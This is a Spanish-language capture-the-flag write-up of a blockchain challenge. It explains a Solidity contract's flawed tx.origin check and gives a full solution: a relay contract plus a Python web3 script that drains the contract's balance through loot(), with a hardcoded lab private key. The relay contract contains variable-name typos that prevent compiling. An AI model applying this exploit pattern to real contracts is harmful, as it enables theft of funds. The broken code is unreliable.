Ir al contenido

Distract and Destroy

Autor
Santiago Chavarro

Software versions
#

SoftwareVersion
Kali Linux2026.2
Python3.13.12
Web37.16.0
solc0.8.35

Código fuente
#

contract Creature {
    uint256 public lifePoints;
    address public aggro;

	constructor() payable {
      lifePoints = 1000;
  }

    function attack(uint256 _damage) external {
      if (aggro == address(0)) {
          aggro = msg.sender;
      }

     if (_isOffBalance() && aggro != msg.sender) {
          lifePoints -= _damage;
      } else {
          lifePoints -= 0;
      }
  }

    function loot() external {
      require(lifePoints == 0, "Creature is still alive!");
      payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
    return tx.origin != msg.sender;
  }
}

En el otro archivo tenemos que para poder tener la flag tenemos que tener el balance en 0 para poder obtener la flag pero para poder hacer esto tenemos que matar a la criatura, para esto tenemos que engañar al tx.origin ya que de otro modo no lograremos conseguir la flag.

Para esto tenemos que crear un contrato intermediario de modo que podamos confundir el tx.origin

Solución
#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
	
interface IContractBOriginal {
	function attack(uint256 _damage) external;
}
	
contract Middleman{
	address public immutable addresContractB;
	
	constructor(address _addresB) {
	    addressContractB = _addressB;
	}
	
	function attack(uint256 _damage) external {
	    IContractBOriginal(addressContratoB).attack(_damage);
	}
}
import os

from solcx import compile_files
from web3 import Web3, HTTPProvider

RPC_URL="http://154.57.164.74:31868/rpc"
PRIVATE_KEY="0xe7ade2ce72aa1f66a9ed69b60acc6a24a0b5244561be8c47cec5f5e52890988a"
CONTRACT_ADDRESS = "0x646673a26182a9eA23718837fbcb25CB15f2064b"
MI_DIRECCION_WALLET = "0x617822A9375C7E253bF9aB0D59D0839208C048f5"

if not RPC_URL:
    raise ValueError("RPC_URL not found in .env file.")

try:
    # Initialize Web3.py with an HTTP provider
    w3 = Web3(HTTPProvider(RPC_URL))

    # Test the connection to the Ethereum node
    if w3.is_connected():
        print(f"Successfully connected at {RPC_URL}")
    else:
        print(f"Failed to connect at {RPC_URL}")
        exit()

except Exception as e:
    print(f"An error occurred during connection: {e}")
    exit()

CONTRACT_ABI = '''
[
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "aggro",
        "outputs": [
            {
                "internalType": "address",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [
            {
                "internalType": "uint256",
                "name": "_damage",
                "type": "uint256"
            }
        ],
        "name": "attack",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "lifePoints",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "loot",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
'''

solc_bin_path = "/home/loaxert/Downloads/blockchain_distract_and_destroy/solc"

if not os.path.exists(solc_bin_path):
    raise RuntimeError(f"Does not exist: {solc_bin_path}")


res_compilacion = compile_files(
    ['app.sol'],
    output_values=['abi', 'bin'],
    solc_binary=solc_bin_path
)

id_contrato = 'app.sol:Middleman'
ABI_A = res_compilacion[id_contrato]['abi']
BYTECODE_A = res_compilacion[id_contrato]['bin']

print("Successfully compiled the contract. ABI and bytecode are ready.")

ContratoA = w3.eth.contract(abi=ABI_A, bytecode=BYTECODE_A)

nonce = w3.eth.get_transaction_count(MI_DIRECCION_WALLET)

tx_build = ContratoA.constructor(CONTRACT_ADDRESS).build_transaction({
    'chainId': w3.eth.chain_id,
    'gas': 3000000,
    'gasPrice': w3.eth.gas_price,
    'from': MI_DIRECCION_WALLET,
    'nonce': nonce,
})

# 6. FIRMAR Y TRANSMITIR A LA RED
tx_sign = w3.eth.account.sign_transaction(tx_build, private_key=PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(tx_sign.raw_transaction)
tx_recive = w3.eth.wait_for_transaction_receipt(tx_hash)


CONTRACT_ADDRESS_A = tx_recive.contractAddress

try:
    
    contract = w3.eth.contract(address=CONTRACT_ADDRESS_A, abi=ABI_A)

    print(f"Contract loaded successfully at address: {CONTRACT_ADDRESS_A}")
    
    estimateGas = contract.functions.attack(1000).estimate_gas({'from': MI_DIRECCION_WALLET})

    attack = contract.functions.attack(1000).build_transaction({'from': MI_DIRECCION_WALLET,
        'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET),
        'gas': int(estimateGas * 1.1),
        })

    attackSing = w3.eth.account.sign_transaction(attack, private_key=PRIVATE_KEY)

    attackTxHash = w3.eth.send_raw_transaction(attackSing.raw_transaction)

    attackReceipt = w3.eth.wait_for_transaction_receipt(attackTxHash)

    print(f"\nResult of attack: {attackReceipt}")

    contract = w3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)

    loot = contract.functions.loot().build_transaction({'from': MI_DIRECCION_WALLET, 'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET)})

    lootSing = w3.eth.account.sign_transaction(loot, private_key=PRIVATE_KEY)

    lootTxHash = w3.eth.send_raw_transaction(lootSing.raw_transaction)

    lootReceipt = w3.eth.wait_for_transaction_receipt(lootTxHash)

    print(f"\nResult of loot: {lootReceipt}")

except Exception as e:
    print(f"Error interacting with contract: {e}")
$ python3 app.py

Cuando entremos a http://IP:PORT/flag obtendremos la flag.

Referencias
#